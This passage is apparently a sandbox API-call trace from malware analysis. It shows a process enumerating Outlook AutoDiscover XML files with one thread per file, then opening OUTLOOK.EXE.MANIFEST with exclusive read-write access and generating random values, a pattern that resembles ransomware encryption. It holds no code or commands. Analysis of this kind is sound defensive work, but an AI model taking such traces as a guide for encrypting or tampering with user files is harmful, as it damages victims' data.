Office\\Office14\\OutlookAutoDiscover\\" [0226.881] wcscat (in: _Dest=0x431f5380, _Source="YAHOO.COM.TW.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML" [0226.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f5380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e4 [0226.882] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.VN.XML", cAlternateFileName="YA38FD~1.XML")) returned 1 [0226.882] wcscmp (_String1="YAHOO.COM.VN.XML", _String2=".") returned 1 [0226.882] wcscmp (_String1="YAHOO.COM.VN.XML", _String2="..") returned 1 [0226.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f5430 [0226.882] wcscpy (in: _Dest=0x431f5430, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.882] wcscat (in: _Dest=0x431f5430, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.882] wcscat (in: _Dest=0x431f5430, _Source="YAHOO.COM.VN.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML" [0226.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f5430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e0 [0226.883] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.XML", cAlternateFileName="YA531A~1.XML")) returned 1 [0226.883] wcscmp (_String1="YAHOO.COM.XML", _String2=".") returned 1 [0226.883] wcscmp (_String1="YAHOO.COM.XML", _String2="..") returned 1 [0226.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431f54e0 [0226.883] wcscpy (in: _Dest=0x431f54e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.883] wcscat (in: _Dest=0x431f54e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.883] wcscat (in: _Dest=0x431f54e0, _Source="YAHOO.COM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML" [0226.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f54e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0226.884] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.DE.XML", cAlternateFileName="YAHOOD~1.XML")) returned 1 [0226.884] wcscmp (_String1="YAHOO.DE.XML", _String2=".") returned 1 [0226.884] wcscmp (_String1="YAHOO.DE.XML", _String2="..") returned 1 [0226.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318b3a0 [0226.885] wcscpy (in: _Dest=0x4318b3a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.885] wcscat (in: _Dest=0x4318b3a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.885] wcscat (in: _Dest=0x4318b3a0, _Source="YAHOO.DE.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" [0226.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318b3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0226.887] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.ES.XML", cAlternateFileName="YAHOOE~1.XML")) returned 1 [0226.887] wcscmp (_String1="YAHOO.ES.XML", _String2=".") returned 1 [0226.887] wcscmp (_String1="YAHOO.ES.XML", _String2="..") returned 1 [0226.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318b6c0 [0226.887] wcscpy (in: _Dest=0x4318b6c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.887] wcscat (in: _Dest=0x4318b6c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.887] wcscat (in: _Dest=0x4318b6c0, _Source="YAHOO.ES.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" [0226.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318b6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c4 [0226.888] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.FR.XML", cAlternateFileName="YAHOOF~1.XML")) returned 1 [0226.888] wcscmp (_String1="YAHOO.FR.XML", _String2=".") returned 1 [0226.888] wcscmp (_String1="YAHOO.FR.XML", _String2="..") returned 1 [0226.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318b580 [0226.889] wcscpy (in: _Dest=0x4318b580, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.889] wcscat (in: _Dest=0x4318b580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.889] wcscat (in: _Dest=0x4318b580, _Source="YAHOO.FR.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" [0226.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318b580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f8 [0226.889] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.HK.XML", cAlternateFileName="YAHOOH~1.XML")) returned 1 [0226.889] wcscmp (_String1="YAHOO.HK.XML", _String2=".") returned 1 [0226.890] wcscmp (_String1="YAHOO.HK.XML", _String2="..") returned 1 [0226.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318b760 [0226.890] wcscpy (in: _Dest=0x4318b760, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.890] wcscat (in: _Dest=0x4318b760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.890] wcscat (in: _Dest=0x4318b760, _Source="YAHOO.HK.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" [0226.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318b760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130c [0226.891] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.IE.XML", cAlternateFileName="YAHOOI~1.XML")) returned 1 [0226.891] wcscmp (_String1="YAHOO.IE.XML", _String2=".") returned 1 [0226.891] wcscmp (_String1="YAHOO.IE.XML", _String2="..") returned 1 [0226.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318bd00 [0226.892] wcscpy (in: _Dest=0x4318bd00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.892] wcscat (in: _Dest=0x4318bd00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.892] wcscat (in: _Dest=0x4318bd00, _Source="YAHOO.IE.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" [0226.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318bd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe44 [0226.892] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.IT.XML", cAlternateFileName="YAHOOI~2.XML")) returned 1 [0226.892] wcscmp (_String1="YAHOO.IT.XML", _String2=".") returned 1 [0226.892] wcscmp (_String1="YAHOO.IT.XML", _String2="..") returned 1 [0226.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318bf80 [0226.893] wcscpy (in: _Dest=0x4318bf80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.893] wcscat (in: _Dest=0x4318bf80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.893] wcscat (in: _Dest=0x4318bf80, _Source="YAHOO.IT.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" [0226.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318bf80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0226.894] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x331, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.JP.XML", cAlternateFileName="YAHOOJ~1.XML")) returned 1 [0226.894] wcscmp (_String1="YAHOO.JP.XML", _String2=".") returned 1 [0226.894] wcscmp (_String1="YAHOO.JP.XML", _String2="..") returned 1 [0226.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318c2a0 [0226.894] wcscpy (in: _Dest=0x4318c2a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.894] wcscat (in: _Dest=0x4318c2a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.894] wcscat (in: _Dest=0x4318c2a0, _Source="YAHOO.JP.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" [0226.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318c2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1344 [0226.895] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.NO.XML", cAlternateFileName="YAHOON~1.XML")) returned 1 [0226.895] wcscmp (_String1="YAHOO.NO.XML", _String2=".") returned 1 [0226.895] wcscmp (_String1="YAHOO.NO.XML", _String2="..") returned 1 [0226.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318af40 [0226.896] wcscpy (in: _Dest=0x4318af40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.896] wcscat (in: _Dest=0x4318af40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.896] wcscat (in: _Dest=0x4318af40, _Source="YAHOO.NO.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" [0226.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318af40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x133c [0226.896] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.PL.XML", cAlternateFileName="YAHOOP~1.XML")) returned 1 [0226.896] wcscmp (_String1="YAHOO.PL.XML", _String2=".") returned 1 [0226.897] wcscmp (_String1="YAHOO.PL.XML", _String2="..") returned 1 [0226.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318a7c0 [0226.897] wcscpy (in: _Dest=0x4318a7c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.897] wcscat (in: _Dest=0x4318a7c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.897] wcscat (in: _Dest=0x4318a7c0, _Source="YAHOO.PL.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" [0226.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318a7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c0 [0226.898] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.SE.XML", cAlternateFileName="YAHOOS~1.XML")) returned 1 [0226.898] wcscmp (_String1="YAHOO.SE.XML", _String2=".") returned 1 [0226.898] wcscmp (_String1="YAHOO.SE.XML", _String2="..") returned 1 [0226.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318be40 [0226.898] wcscpy (in: _Dest=0x4318be40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.898] wcscat (in: _Dest=0x4318be40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.898] wcscat (in: _Dest=0x4318be40, _Source="YAHOO.SE.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" [0226.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318be40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8 [0226.899] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.SE.XML", cAlternateFileName="YAHOOS~1.XML")) returned 0 [0226.899] FindClose (in: hFindFile=0x1cd9db50 | out: hFindFile=0x1cd9db50) returned 1 [0226.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502530) returned 1 [0226.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b460) returned 1 [0226.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509cc0) returned 1 Thread: id = 2279 os_tid = 0x3c4 [0143.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.manifest")) returned 0x20 [0148.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST", dwFileAttributes=0x20) returned 1 [0148.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1db4 [0148.626] GetFileSizeEx (in: hFile=0x1db4, lpFileSize=0x2dbbf7c0 | out: lpFileSize=0x2dbbf7c0*=1206) returned 1 [0148.626] SetFilePointerEx (in: hFile=0x1db4, liDistanceToMove=0x4b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.626] ReadFile (in: hFile=0x1db4, lpBuffer=0x2dbbf740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dbbf788, lpOverlapped=0x0 | out: lpBuffer=0x2dbbf740*, lpNumberOfBytesRead=0x2dbbf788*=0x4, lpOverlapped=0x0) returned 1 [0148.628] SetFilePointerEx (in: hFile=0x1db4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0148.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0148.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0148.629] NtQuerySystemTime (in: CurrentTime=0x2dbbf680 | out: CurrentTime=0x2dbbf680*=132462177538546000) returned 0x0 [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x3cc8328f [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x58a64e48 [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0xa9ff4b0 [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x51cd887d [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x30678981 [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x3f8c66ee [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x6e9ea773 [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x6842d316 [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0xa44ca4f [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x71e44267 [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x67f6e94e [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x7d863821 [0148.629] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x494b2ca6 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x1bcaf649 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x5c5fbff4 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x4e4efd1d [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x1db3d465 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x658241af [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x58b6dc0d 